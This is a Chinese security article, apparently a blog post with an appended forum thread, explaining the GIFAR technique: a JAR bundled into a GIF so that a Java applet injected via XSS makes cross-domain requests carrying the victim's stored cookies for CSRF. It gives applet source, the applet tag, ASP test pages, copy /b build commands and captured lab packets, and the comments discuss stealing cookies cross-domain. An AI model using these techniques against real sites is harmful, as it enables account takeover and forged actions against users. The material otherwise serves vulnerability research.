GIFAR总结

鬼仔注:我整理了一下刺和空虚浪子心在关于GIFAR的一些补充分析一文中的评论,附在文章末尾。

作者:空虚浪子心

PS:感谢刺对本文提出建议。

前言
文章的开始,先诱惑下那些不研究applet的朋友。

Java Applet需要安装java环境才能执行。很多朋友不研究的主要原因,是自己认为普通上网用户不会安装java环境。但是大家真的知道目前都有哪些人安装了java环境么?你当然知道有这些人:“java开发人员”、“因工作需要使用java软件的人”,他们安装了java环境。但是你不知道的是,还有一群无辜的用户也在不知不觉中安装了。

中国使用盗版软件的人有多少?所有的人都在用(别误会,我不打击盗版)。那么你知道使用盗版操作系统的人有多少么,你知道盗版的操作系统是哪里来的么?经常安装操作系统的人,还有经常到电脑城挑盗版盘的人,都或多或少的听过以下这些名字:“雨林木风”,“番茄花园”,“电脑公司版”,“深度”等等。。。这就是那些研究如何让操作系统方便各种人群的使用,把操作系统制作成系统盘,供大家下载的一些人。而那些出盗版系统盘的商家,先从这些地方下载,之后经过刻盘,卖给普通用户。作者经过一些调查,了解到以下一些操作系统版本,自带JAVA环境:

雨林木风 ——- 集成微软 JAVA 虚拟机。
番茄花园 GHOST XP SP2 v 3.1 —– 集合 MS JAVA 虚拟机
深度GHOSTXP SP3快速装机专业版V9.0(NTFS) ———- 集成MSJAVA虚拟机
GhostXP SP3电脑公司完美特别修正版 v9.1 ——- 修正JAVA虚拟机不能启动的BUG
999宝藏网 GhostXP SP3 活力版 V3.0 ——– 微软 JAVA 虚拟机
电脑市场 GhostXP SP2装机版 v3.0
小路工作室 GhostXP P2008贺岁版[装机版]
深度技术 GHOST XP SP3 快速装机专业版 V8.1
。。。。。。

以上操作系统都附带java虚拟机,国内的操作系统安装盘最流行的,也就这几家了,都有一些版本在支持java环境。那么你现在再回答我,中国有多少机器上安装了java环境?

在作者以前的文章里曾说到,研究applet安全,至少能祸害一部分人。但是总有很多朋友不喜欢研究,好像这玩意大家都不用似的。任何一个Exp的成功率都不是100%,大家只想研究如何用别人的EXP去搞站,何不自己研究点实实在在的技术呢?几天前,在“刺”的blog上看到他说“国内好像没人关注GIFAR啊,我白辛苦码这么多字了”,深感痛心,国内的人都去做什么了?刚巧作者研究了一段时间applet的安全性,看到这个漏洞很兴奋。刺在自己的blog上发了两篇GIFAR的文章,作者跟帖讨论一直跟到50多篇,可是反过来看看,好像就我们两个人在讨论相关技术。原来是刺的文章写的太专业,大多数不了解applet的朋友可能看不太懂,为了让这个东西更普及,更菜鸟化,就有了这篇GIFAR详解。

正文
注:本篇文章是对刺写的两篇“关于GIFAR”和“关于GIFAR的一些补充分析”的详解,同时也写了点自己对GIFAR的一些见解。

Applet本身的安全机制是不允许跨站的,它只允许自己访问applet标签所在页面的域。但是当applet标签中的codebase属性给定了一个URL,让当前页面的applet到另一个域获取class或jar文件时,applet会自动为自己添加一个socket permission,也就是添加一个可以到class文件所在域的权限。使用copy /B命令可以把一个jar文件捆绑到一个gif上,捆绑后,同样可以让java虚拟机把这个GIF当成applet解释执行。这个技巧为漏洞的利用提供了便利,虽然我们不能给目标服务器上传jar文件,但是我们有可能会被允许上传gif。

以下是一个利用GIFAR所要用到的applet标签,该标签只要在html中就会执行applet:

<applet code="cn.isto.XSSJApplet" width="1000" height="200" codebase="http://www.cnitblog.com/images/cnitblog_com/axis/" archive="00.JPG" name="xss">
<PARAM NAME="url" VALUE="http://www.cnitblog.com/axis/admin/">
</applet>

Code属性表示jar文件中的class名称,codebase表示jar文件所在的绝对路径(不包括文件名),archive表示jar文件的文件名,PARAM是为了灵活控制给jar代码中的一些变量传值,这里的传的名称是url,对应的值是一个网站地址。可以根据自己要跨的域来改变这个地址。

解释的有点抽象,看下图:

利用的环境按照上图所示,有两个域,A域和B域。我们在A域上发现了一个XSS漏洞,利用漏洞在A域的某个页面上放置一个applet标签,B域恰好有一个功能,可以上传GIF图片。要得效果是在访问A域的页面同时,访问一下B域的隐私页面,以达到辅助入侵B域的目的,但是有两个问题,一个是B域的cookie验证,另一个是浏览器不允许跨域访问。
利用GIFAR,就可以跨越这两个障碍。

下面我再详细的解释一下这个漏洞,在和刺的讨论过程中,问题集中在以下几点:

1,session cookie,和stored cookie。

2,跨域之后对所跨域的域名问题。

3,跨域之后如何取COOKIE。

先说第一点,这两种cookie有什么区别呢?其实session cookie指的就是我们常说的session,而stored cookie就是我们常说的cookie。Session的生存周期默认是这样的:

当用户使用浏览器访问一个网站的任何地方时,网站的服务器会为这个链接新建一个session,为了标识这个session的单一性,通常都会有一个session id来标识。当用户关闭了浏览器,用户就不知道这个session存在了,但是服务器的内存里这个session并没有销毁。因为默认session销毁的时间是30分钟,到了时间自动销毁,或者由程序去销毁,通常程序销毁session时,用户的操作都是类似于“退出”、“注销”等等。一旦用户关闭了浏览器,浏览器并不会通知服务器销毁session,但是新打开的浏览器再次连接服务器时,服务器又会为这次浏览创建一个新session,这就导致了很多人以为浏览器关闭后,session自动消失的假象。

而cookie就不一样了,cookie验证通常会制定一个时间,比如我们常在论坛登录时看到的“保存一年,保存一个月,保存一天”等等。使用cookie的通知,浏览器会在“C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files”(也就是浏览器缓存文件夹)这个文件夹里建立一个文本文档,叫做“[email protected]”,这个文档里记录了用户登录的信息。当用户下次打开网站时,浏览器自动去缓存取得这个cookie,并且放在每次http请求里,一起发出去,网站服务器让用户通过验证,进行某种触及隐私的操作。

GIFAR这里,使用的就是cookie,不是session,所以更容易出现CSRF攻击。

再说第二点,域名问题。无论是JS还是applet,都限制只能访问当前域下的内容。比如这个JS如果是aaa.sohu.com,就不能访问bbb.sohu.com的东西,如果你跨域跨到了aaa.sohu.com,就可以访问aaa.sohu.com。

而cookie对于域名的要求就有点暧昧了,这要看在写程序时,你的cookie制定的域名是什么。来看以下这段jsp程序。

Cookie ack = new Cookie(“kxlzx”,”password”);
ack.setDomain(".sohu.com");

这段cookie制定了域名为“.sohu.com”这个一级域名。就表示这个域名下所有的二级域名、三级域名、四级。。。都可以访问这个cookie。而默认的cookie域,如果不指定域,则会由程序自动制定到当前JSP文件所在的域下。例如http://www.sohu.com/a.jsp这个jsp文件所在的域是二级域名www下,那么他的cookie就只有这个二级域名下的文件才可以访问,其他的域名例如img.sohu.com就不可以访问这个cookie。

最后一点,其实是这个漏洞利用成功之后能做什么。跨域取cookie只是一种利用,还有很多种利用方式,比如CSRF。前文提到,cookie是有域名限制的,如果要跨域取cookie,就必须保证这段取cookie的程序要在所跨域下的文件中执行。我一直推荐一种方式,就是当IE7以下浏览器去打开JPG文件时,如果JPG文件其实是个HTML,就会执行HTML。那么取cookie得代码就可以写到这个文件上,之后上传到要跨的域,再利用applet让受害者的浏览器访问这个JPG文件。这样,无论是挂马还是取cookie都可以在这里完成。

一个CSRF示例:
先说明一下测试环境,有两台计算机,一台linux+apache下面简称APACHE域,一台windows+iis下面简称IIS域。APACHE域下的某个文件出现了XSS漏洞。利用该XSS漏洞可以在页面上插入applet标签。IIS域下有上传gif文件功能,于是上传了一个gif文件,还有一个需要cookie验证才能执行其他操作的隐私页面。最终要达到的效果是,IIS域的管理员(可以通过cookie验证的人)访问APACHE域下的XSS漏洞页面,同时悄悄的访问到IIS域下的隐私页面(CSRF)。

IIS域下的页面a.asp,目的用来建立一个cookie,这个cookie可以通过b.asp的验证。这里模拟了相当于管理员登陆成功的过程。

a.asp代码:


<%
Response.Cookies("Cookie1")("kxlzx") = "testok"
%>

作用是新建一个cookie。

IIS域下的b.asp代码:

<%
dim cookie,key

for each cookie in Request.Cookies
if Request.Cookies(cookie).haskeys then
    for each key in Request.Cookies(cookie)
        if key="kxlzx" then
            Response.Write "key 名字:"&key"<BR>"
            Response.Write "value 名字:"&Request.Cookies(cookie)(key)"<BR>"
             kxlzxfile=Server.MapPath("kxlzx.txt")
             set fs=server.CreateObject("scripting.filesystemobject")
             set file=fs.OpenTextFile(kxlzxfile,8,True,0)
             file.WriteLine("key 名字:"&key"" )
             file.WriteLine("value 名字:"&Request.Cookies(cookie)(key)"" )
             file.close
             set fs = nothing
         end if
     next
 end if
 next

 %>

通过了cookie验证后,会在当前目录下新建一个kxlzx.txt,最后看到这个文档时,意味着CSRF成功。

IIS域下的2.gif文件,编译前Ghost.java代码:

import java.applet.Applet;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
public class Ghost extends Applet {
    public void init() {
        URLConnection uc;
        try {
            // 创建 HTTP连接
             URL url = new URL(this.getParameter("url"));
             uc = url.openConnection();
             InputStream inputstream = null;
             inputstream = uc.getInputStream();
             System.out.println("test ok");
         } catch (Exception ex) {
             System.out.println("fu_ck");
         }
     }
 }

这个文件就是applet的代码,代码从applet标签的PARAM中取到url的值,之后访问这个URL。我们要把这个文件编译成jar,然后使用copy /B 附加到一个gif中。

APACHE域下的Test.php代码:

<applet codebase="http://192.168.0.88/" code="Ghost.class" archive="2.gif" name="Ghost.jar" >
<PARAM name="url" value="http://192.168.0.88/b.asp"></PARAM>
</applet>

下面开始测试:

1,首先使用jar cvf a.jar Ghost.class把class打到jar包里。

2,输入命令copy a.gif /b + a.jar 2.gif把jar文件追加到a.gif,生成一个新文件2.gif。

3,访问APACHE域下的a.asp,保存cookie,并弹出保存的内容。

4,访问APACHE域下的test.php。

5,查看结果,看到kxlzx.txt中记录了cookie信息。

下面是在整个过程中抓到的几个包:

第一个包:

GET /a.asp HTTP/1.1

Host: 192.168.0.88

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1

输入地址访问IIS域,访问IIS域的包颜色为蓝色

第二个包

GET /wwwroot/test.php HTTP/1.1

Host: 192.168.0.222

Accept-Encoding: gzip,deflate

输入地址访问APACHE域,访问APACHE的包颜色为红色

第三个包

GET /2.gif HTTP/1.1

content-type: application/x-java-archive

User-Agent: Mozilla/4.0 (Windows 2003 5.2) Java/1.6.0_03

Host: 192.168.0.88

Cookie: Cookie1=kxlzx=testok;

第四个包

GET /Ghost.class HTTP/1.1

Host: 192.168.0.88

Cookie: Cookie1=kxlzx=testok;

第五个包

GET /b.asp HTTP/1.1

User-Agent: Mozilla/4.0 (Windows 2003 5.2) Java/1.6.0_03

Host: 192.168.0.88

Cookie: Cookie1=kxlzx=testok;

第一个包是访问a.asp的,可以看到在这个向IIS域的请求中,没有cookie,但是访问过该文件之后就有了。

再看第二个包,访问了APACHE域的test.php,后面的包都是由applet自动发送的。

test.php里的applet又访问了gif文件,可以看到第三个包的Agent已经变成了“Java/1.6.0_03”,说明该包是java去访问的。

最后的包,就是CSRF的包,这个包成功的访问了b.asp,并且带有可以通过验证的cookie,成功的在根目录下生成了一个kxlzx.txt文件。CSRF的整个过程中,在用户访问APACHE域的同时,跨域访问了IIS域,并且带着IIS域的COOKIE。

结尾:
GIFAR就写到这里,其实GIFAR真正能做的事情,不止CSRF这么简单,它的作用是调用appet,之后都交给applet来完成。所以,要研究GIFAR,首先要研究applet的安全性。推荐作者之前写的文章《Java applet安全性探究》,请去google找找。

———————–我是分割线———————–
刺和空虚浪子心在关于GIFAR的一些补充分析一文中的评论:
2、空虚浪子心: 2008-08-11 10:09
呵呵,思路到是有,只是文章有点长,很多人不愿意转载。。。
http://www.inbreak.net/?action=show&id=122
俺做个广告,大侠自己去看吧.

3、空虚浪子心: 2008-08-11 10:16
顺便告诉大侠,看了这篇文章,你那遗憾的cookie不能取问题,就可以解决了。

4、空虚浪子心: 2008-08-11 10:22
最后唠叨几句,你思路有点问题.既然找的是applet的安全问题,为啥不单独研究applet呢?非要局限于去弄这个漏洞的实现。
推荐先研究applet,看看它究竟能做什么。。。然后再研究applet在这个漏洞的应用。
applet有调试平台,我文章里写道了。
而你的跨域,只是假象。
换句话说,根本没有跨域。

5、空虚浪子心: 2008-08-11 11:27
我看了你的paper,写的不错。

不过你的思路还是利用鬼页,而鬼页是和浏览器有关的,你用applet实现new一个窗口出来,本质和window.open是一样的,最后还是通过浏览器的API来进行调用,所以和applet的安全没什么关系。你可以验证下applet里新开窗口是否在IE7下有效跨域就知道了。

此外不知道你是否有验证过你的思路,我按照你的思路,在java中实现了鬼页,但是却取不到cookie,你可以参考这张图片,这是我截的图:

http://hiphotos.baidu.com/刺:/pic/item/534ff11e45ea9374f724e462.jpg

可以看到,request cookie是有内容的,但是弹出的document.cookie却是空。我想这个原因是由于这里鬼页取的是response cookie,在这里是空的。

代码大致如下:

6、空虚浪子心: 2008-08-11 11:27
URLConnection uc;
try {
initComponents();

URL url = new URL(this.getParameter(“url”));
uc= url.openConnection();

String ck=this.getParameter(“cookie”);
String add=this.getParameter(“add”);
uc.addRequestProperty(“add”, add);
uc.setRequestProperty(“Cookie”, ck);

String reqheads=uc.getRequestProperties().toString();

reqheads+=uc.getRequestProperty(“Cookie”);
reqheads+=uc.getRequestProperty(“add”);
reqheads+=uc.getRequestProperty(“Accept”);

8、空虚浪子心: 2008-08-11 11:27
String repheads=uc.getHeaderFields().toString();

jtaOutput.setText(reqheads+”\n”+repheads);

// 利用ghost页面弹cookie
try {
this.getAppletContext().showDocument(new URL(
“http://hiphotos.baidu.com/刺:/pic/item/5a3258b4d970e0d836d3cadf.jpg”), “gifar”);
this.getAppletContext().showDocument(new URL(
“javascript:alert(document.cookie)”));
} catch (Exception ex) {
}
} catch (Exception ex) {
ex.printStackTrace();
}

9、空虚浪子心: 2008-08-11 11:28
此外我觉得这个漏洞应该属于跨域问题,而你paper里利用鬼页来跨域,本质上还是利用的浏览器的特性,而不是applet的特性。而这个applet的问题核心处就在于他request的时候用的是stored cookie,这才是问题的本质。

此外你提出的关于研究applet的建议很好,applet虽然现在不怎么普及,不过却很值得研究,有时间我会好好学习。

最后还是感谢你的建议,给了我很多启发。

10、空虚浪子心: 2008-08-11 11:59
this.getAppletContext().showDocument(new URL(
“http://hiphotos.baidu.com/刺:/pic/item/5a3258b4d970e0d836d3cadf.jpg”), “gifar”);
this.getAppletContext().showDocument(new URL(
“javascript:alert(document.cookie)”));
这个showDocument是拿不到cookie的。
具体原因是因为你没理解这个东西(showDocument方法)的本质,当你使用第一段的时候,实在一个叫做gifar的子窗口里打开一个页面。然后你却在他的父页里取cookie。你的父页里没有cookie,所以拿不到。cookie在你的子页里。你可以在父页里放歌cookie拿,其实在父业拿相当于你在当前浏览器地址栏执行了javascript:alert(document.cookie),怎么可能拿不到?
而我说的拿cookie的方法,不是applet安全拿。
我认为,取cooike是目的,而用什么技术,则是一种手段。达目的不择手段。所以,不要局限非要使用applet取cookie。
当你可以让用户执行applet的时候,你可以做的事情又很多,我的文章结尾,就是一种思路(我的思路已经实践,而且我可以负责任的说,凡是我里面出现的代码和思路,全都是我执行了N次的结果,如果出现了小小的bug,请参照执行环境,IE7,IE6,FF3。。。)。
当然,我这种达目的不择

11、空虚浪子心: 2008-08-11 12:06
当然,我这种达目的不择段的方式,不适合你的研究路线。
我也十分期待你能够找出applet的安全机制bug,使用applet真正的实现效果。
IE6,ie7,FF3在内部对JVM的支持实现是不一致的,当你研究的时候,要注意代码的执行环境。
还有一点我文章中没有写出来。是关于其他方面跨域的研究:
因为我要测试突破socket跨域和突破url跨域取东西,所以经过测试,大概知道,你想用applet来控制浏览器到其他域取东西,在没有0DAY的情况下,是不现实的。。。
JAVA直接在socket这里限制了,而url最终还是要掉SOCKET去连接,所以等于限制了url不能跨域访问。再往上层引申下,你用applet里的显示img以及显示music的那个url的参数,就是这样被限制的。
所以,还是那句话,除非有0day。

12、空虚浪子心: 2008-08-11 12:14
关于你前面提到的,applet实现取cookie,确实取不到的。
可能我的文章把你绕糊涂了,父窗口不能取子窗口的cookie,即使父窗口让子窗口打开“javascript:alert(document.cookie)”,也取不到cookie。更别说让子窗口打开个页面,然后在父窗口取子窗口的cookie了。。。

我所说的跨域取cookie,其实是在文章的最后,那段可以用applet也可以用js实现的思路。

13、空虚浪子心: 2008-08-11 12:23
} catch (Exception ex) {
}
} catch (Exception ex) {
ex.printStackTrace();
}
看到这两个exception有点郁闷。。。你知道我说的是啥意思~~~~呵呵。。。
我喜欢和你这样的人交流,现在国内很多人都去研究某某固定系统的bug了,很少人专注于技术领域的研究。。。所以你发了那个文章,在国内找不到研究的人,很正常哈。。。

14、空虚浪子心: 2008-08-11 12:39
在我看来,GIFAR如果只是你文章里写的那样的话,上传gif里面包含了JAR,没必要的。。。
如果你要跨域拿cookie,完全可以:
再提一下我的文章。。
1,你的gif传在baidu,里面是JS代码。。。
代码用于把cookie提交出去。。。等于在百度下执行一段JS。
2,用applet控制浏览器打开一下js,然后再回来当前页面。
这样,在用户看来,页面闪了一下。。。其实已经到baidu下执行了一段JS了。。。有点小问题,如果下次你再打开这个页面,是不是有跳走了?呵呵,这个自己想办法啦。。。N种的。。。
给你爆个小料,如果你使用ff直接打开http服务器下的class文件。。。你猜怎样?自己试试。。。
我没看GIFAR,从你的文章看来,这东西没啥大用。。。如果我可以在某些地方放个applet标签。。。嘿嘿。。。何必非得按照你说的办法做呢?给你个网站,被我放了applet。。。
www.j8hacker.com,你开一片文章就知道了。。。

17、空虚浪子心: 2008-08-11 13:33
使用applet确实能够获得更大的权限,我在这里也仅仅只是就这个漏洞而展开的一些讨论。研究技术的乐趣就在于把这些细节的地方一一弄清楚、透彻。

不过关于跨域的问题,这个漏洞的问题在于会发送本不应该发送的东西,也就是会把本地保存的cookie通过applet读出来。造成这一问题的原因也可以理解为你想要的“0day”,间接导致了跨域。原因就在于codebase引用了外部地址后,引用的那个域对applet里的代码就开放了权限.

具体过程描述如下:
The Java browser plugin sees a codebase URL of the target site and consequently adds a SocketPermission allowing the applet to connect back to it and make full requests.

18、空虚浪子心: 2008-08-11 13:33
But that is only part of the story. It turns out that when an applet makes an HTTP request to a website the Java browser plugin will slap on the relevant cookies from the browser cookie store (even if the applet is unsigned). This initially surprised me – as far as I can remember older versions of the JRE never supported this. A little digging into how this is accomplished in IE revealed there is a class, com.sun.deploy.net.cookie.IExplorerCookieHandler that contains the following native methods:

JNIEXPORT jstring JNICALL Java_com_sun_deploy_net_cookie_IExplorerCookieHandler_getCookieInfo
(JNIEnv *env, jobject sender, jstring url)

JNIEXPORT void JNICALL Java_com_sun_deploy_net_cookie_IExplorerCookieHandler_setCookieInfo
(JNIEnv *env, jobject, jstring url, jstring value)

These methods call the Wininet functions InternetGetCookie and InternetSetCookie respectively.

19、空虚浪子心: 2008-08-11 13:33
而这个cookie和session cookie是不同的,没有浏览器生命周期的限制,才会比CSRF要好用,所以这应该归属于一个跨域问题。

关于最后你提出来的把js放到baidu上,再用applet去执行一下,我很疑惑这里是否会存在跨域限制的问题,如果是在当前域下把baidu的js当作远程引用的,类似 <script src=http://baidu/xxx >这种方式,js作用是在当前域的,不会跨到百度去。如果是发起个socket去打开baidu下的js,那么从A域跨到B域,是否能够执行脚本呢?我想这就和浏览器的安全模型有关了,如果可以,那确实是一个跨域的问题。

20、空虚浪子心: 2008-08-11 13:57
首先回答你17楼的问题。
想在本地读cookie。没权限。applet默认没有读文件权限。
回答19楼问题。
“再用applet去执行一下”
这句话有严重误解。。。
不是用applet去执行下,而是让applet去打开百度的某个JPG页面(jpg页面里不是JPG,是个JS。ie会把这个JPG解析成HTML,除非这个JPG的头规定了他是JPG)。
直接打开页面,this.getAppletContext().showDocument(new URL(
用这个打开个页面。
嗯。。。18楼的么。。。我鸟语不好,正在解读中。。。

21、空虚浪子心: 2008-08-11 14:01
adds a SocketPermission allowing the applet to connect back to it and make full requests
这里的SocketPermission ,特指的是本地的policy文件。java默认很多都是不允许的。具体哪些,参考我文章的前两节。
而他说能添加一个permission,那就好玩了!一旦添加进去这个socketpermission,我就可以访问这个socket中的地址了。。。
类似于本来不允熙new URL(“www.sohu.com”).但是由于codebase在www.sohu.com,所以他也会允许访问这个url了。。。本来不能访问的,只能访问applet页面的域。

22、空虚浪子心: 2008-08-11 14:11
19;楼的问题,怎么用applet执行JS?
你说的这个问题,首先,你想执行baidu下的JS,至少得把他弄下来。。。怎么弄?如果你用url去访问baidu的话,那可不行了,你这个写代码绝对是一个socketPermission不允许。。。
而且,你的applet的页面可不再百度,怎么会去百度的域名下执行js呢?即使拿下来了js,那也是本地域的js。
当然,按照你抓出来的老外说的那句话,说可以添加一个socketPermission的话。。。就可以用URL类,去他的域名下取东西(访问东西)了。

23、空虚浪子心: 2008-08-11 14:14
《Java security evolution and concepts, Part 3: Applet security》 Raghavan N. Srinivas
《Applet Security》 SUN官方
《Java 2 Applet Security》 Abdul Habra, 2.7.2000
这三篇文章看看。。。关于policy的问题,就明白了

24、空虚浪子心: 2008-08-11 14:18
applet默认是没有读本地cookie文件的权限,但是GIFAR在这里却是直接把本地cookie文件里的内容拿来用了。

你再仔细看我抓的包。百度那个,第二个包,发送的request包是从本地读出来的cookie。你可以对比第一个包,那个包里的cookie少很多,因为是用img标签访问图片,所以是session cookie,是临时生成的,不是本地读出来的。

此外你说的直接打开jpg文件的方法,就是我在20楼里讲的第二种情况,如果这种问题存在,就是一个跨域漏洞了。 不过这种情况在IE8里会被禁止,因为IE8会开始分析MIME头,可以参考我之前写的IE8安全新特性的blog。

GIFAR 这个漏洞的问题就是出在这个socketpermission这里,权限过大了,允许socket针对该域的全连接。所以SUN如果要补的话,也会是在这里做修补。而在applet中还会有更多应用,比如这个域还开了8080端口,或者21端口,那都可以针对此发起一些非HTTP的请求。

以前有一个溢出漏洞(记不起来是哪个了,好像是迅雷还是啥,我这记性~~~),是出在一个127.0.0.1的端口上,但是协议好像是LDAP,如果在IE 里利用的话,用IMG等标签总会发起一个HTTP的头,但是如果利用applet的话,就有可能把垃圾漏洞变的有价值一点。当然我还属于YY中,

26、空虚浪子心: 2008-08-11 14:21
另外我是按照老外paper里的方法来做的,没有验证在codebase不指向该域的情况下,发起request是否还是会带上本地的cookie。不过他这里带上这样完整的cookie本身已经是一个安全隐患了

27、空虚浪子心: 2008-08-11 14:28
首先说下。。。老外的那个方法我测试成功了。
import java.applet.Applet;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;

public class Ghost extends Applet {

public void init() {
URLConnection uc;

try {
// 创建 HTTP连接
URL url = new URL(this.getParameter(“url”));
uc = url.openConnection();
InputStream inputstream = null;
inputstream = uc.getInputStream();

System.out.println(inputstream.toString());
} catch (Exception ex) {
ex.printStackTrace();
System.out.println(“fuck”);
}
}

}

上面是java代码。
<applet codebase=”http://192.168.0.86/” code=”Ghost.class” width=”300″ height=”200″>
<param name=”url” value=”http://192.168.0.86/a.asp?context=kxlzxhacked”>
</applet>
上面是html。。。

然后,我说一下具体的原理

28、空虚浪子心: 2008-08-11 14:35
我可以控制A服务器上的代码。在A上建立一个html文档。假设a的那个我可以控制的文件为bbs.xfocus.net/a.htm
然后我再B服务器上传了一个JPG也就是你说的那个GIFAR。
本来,按照applet的安全机制,在A上的CALSS(applet)只能访问A域下的东西。
但是我把这个APPLET传到了B(www.baidu.com/a.jpg)那里。
好了,现在打开A的文件。会发生:
流程如下,取在B的服务器上的class文件。然后执行。
在class代码里,去访问B上的其他文件(本来不允许访问除A以外其他域名的)。
没想到刚才测试访问成功了!。
现在就有个问题了,如果我这个访问成功的过程中,带上了B上的cookie,那有意思了!我就可以顺便访问B上的隐私区域。。。例如后台。

29、空虚浪子心: 2008-08-11 14:38
回24.。。呵呵,当applet帮我们打开一个可以让我们控制代码的html页面的时候,就应该意识到。这不仅仅是一个跨域了。。。

30
网友:kj021320
2008-08-11 14:49
回kxlzx的文章!我只是applet初学者但是我觉得你说的那个在控制台打印点东西不叫调试哇!
下断点,变量跟踪,表达式监控都没!而且JDK内部一些类库是跟不进去的。

31、空虚浪子心: 2008-08-11 14:49
一个127.0.0.1的端口。。。再回19楼。
java.security.AccessControlException: access denied (java.net.SocketPermission 127.0.0.1:80 connect,resolve)
at java.security.AccessControlContext.checkPermission(Unknown Source)……………………
看到以上的输出了么?
127.0.0.1不属于applet允许的域。。。applet只允许他自己所在的域。。。。
不用YY了。。。无法实现。。。

32、空虚浪子心: 2008-08-11 14:52
回30.。。晕。。。有个界面能输出。。。在我看来就相当于调试平台了。。。偷笑ing…
或者你可以在ec里使用run as javaapplet来执行applet。。。但是环境有限的。。。

33、空虚浪子心: 2008-08-12 10:55
问刺几个问题:
我看了你的代码,你在applet里给那个url请求加了一个cookie。
有啥用处?没看明白。
这个url是用来访问那个可以上传图片的网站的,而这个网站的源cookie你并不知道(你只能控制那个applet标签所在的页面代码)。

我的利用思路是:
悄悄的访问一下上传图片网站的隐私页面,以达到某种目的。但是很遗憾,这个applet的url访问包里,并不带着以前曾经访问过的cookie,没有带这个cookie,就不能访问隐私页面。那这个东西到底有啥用处呢?

下面是两个包内容。

34、空虚浪子心: 2008-08-12 10:58
首先自己访问以下b.asp包如下:
GET /b.asp HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: ASPSESSIONIDCQTABBTD=KBIBFIHABPHILLINOJIDHPDE; Cookie1=kxlzx=testok
Cache-Control: max-age=0

注意,这里有cookie的。

然后访问了那个applet的页面,页面中的applet访问了这个地址,包如下:
GET /b.asp HTTP/1.1
User-Agent: Mozilla/4.0 (Windows 2003 5.2) Java/1.6.0_03
Host: 192.168.0.86
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Cookie: ASPSESSIONIDCQTABBTD=LBIBFIHAFFBLAHKBGEGFNCJE

cookie没有了。

35、空虚浪子心: 2008-08-12 11:01
applet跨域去访问了b.asp。但是访问过程中没有附带了原来的cookie。
难道要构造一个cookie?这个cookie怎么构造呢?

36、空虚浪子心: 2008-08-12 11:38
不是自己构造一个cookie,我一个个来说吧

我自己加一个cookie的目的是为了验证能否读到我发出的cookie,实际上证明我能读到我自己设置的cookie,但是request包里自己带上的 cookie却读不到。这是因为getRequestProperty函数可能没有权限读request cookie的原因,具体是不是权限的原因由于还没找到调试这个函数的方法,所以还不能下断论。

此外关于cookie,你要区分清楚 session cookie和stored cookie。 stored cookie是浏览器存储在本地的,可以在你c盘的用户cookie目录下面找到的那个文件里面写着的内容,浏览器关闭了也有的。而session cookie则是浏览器临时生成的cookie,关闭浏览器就失效了。你上面的两个数据包都是抓的session cookie。你再仔细看我文章和我的回复,我强调过很多次,这个漏洞之所以成为漏洞就是由于applet使用了stored cookie,而不是session cookie。

此外在applet里中访问那个图片时,要注意域是一致的,包括二级域名都必须严格相同。而这时候你看我抓的包,是用的stored cookie。很明显和我POC里之前用img请求图片时,抓到的session cookie是有区别的。

你说的关于偷偷请求一下隐私页面,我想你是想采用类似CSRF的做法,而CSRF实施中,

37、空虚浪子心: 2008-08-12 11:42
是使用的session cookie而不是stored cookie。

我想你的测试环境和真实环境还是有一定的出入的,比如b.asp所在的域可能在你机器里没有stored cookie。

最后建议你直接拿我的POC抓包试试,我的图片链接 应该还能用,用百度做例子会比较典型。

38、空虚浪子心: 2008-08-12 12:25
谢谢 刺。
关于cookie,我知道有两种,一种是session,里面带了session的id。当浏览器关闭了,这个cookie并没有真正的消失。对于服务器来说,这个东西以 session的方式在应用程序池(理解为http服务器上下文中)保存着,当浏览器关闭,并不会通知服务器这个session销毁,而是到了 session超时,或者用户主动请求动作(比如退出,注销),才会调用程序让他消失。如果你抓了这个session cookie(其实这个就是session),关了浏览器,然后再用nc提交,服务器还认识的,我抓的那个就是这种。
还有种cookie是你说的那个stored cookie。这东西是保存在本地的,并且不会记录session id,因为你可以等明年去打开他甚至还在(时间也可以设置的)。比如论坛上的那个“保存一年”。
而applet这里用到的是stored cookie。

你说的那些,我明白了,我现在再保存个stored cookie,然后再测试看看。

39、空虚浪子心: 2008-08-12 13:02
Cookie: BAIDUID=664BDBF912A0BD8529B578F1D2D89628:FG=1;
这个是你抓得包,baiduid其实就是session id。
而我抓得那个包,不是session cookie,本身就是cookie。
我给你看看我的cookie保存代码
<%
Response.Cookies(“Cookie1”)(“kxlzx”) = “testok”
%>
并且在ff里查看,也能看到这个cookie。
最后我关闭了浏览器,重新打开后,打开这个页面:
<%
dim cookie,key

for each cookie in Request.Cookies
if Request.Cookies(cookie).haskeys then
for each key in Request.Cookies(cookie)
if key=”kxlzx” then
Response.Write “key 名字:”&key&”<BR>”
Response.Write “value 名字:”&Request.Cookies(cookie)(key)&”<BR>”
end if
next
end if
next

%>
可以读出我保存的cookie。
所以,我抓的包,就是stored cookie的包。

40、空虚浪子心: 2008-08-12 13:06
刺,我必须向你道歉!
前面我问你我抓的包里为什么没cookie时,我犯了一个严重错误。。
192.168.0.86 就是我本地计算机。
192.168.0.222 是那台java applet的计算机。
你前面说的两种cookie,其实一个是session,一个是cookie,真正的安全隐患出现在cookie这里。
而我犯的错误就是,我的第一个包host是Host: localhost
第二个包是192.168.0.86。
虽然使用这两个域名都能访问到b.asp这个页面,但是他们毕竟是两个域名。

最后,我先访问了192.168.0.86上的b.asp,然后再访问applet。
成功了!!!下面是包。为了表示感谢,我把这个记录给你。

41、空虚浪子心: 2008-08-12 13:10
包1:
GET /a.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://192.168.0.86/
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322)
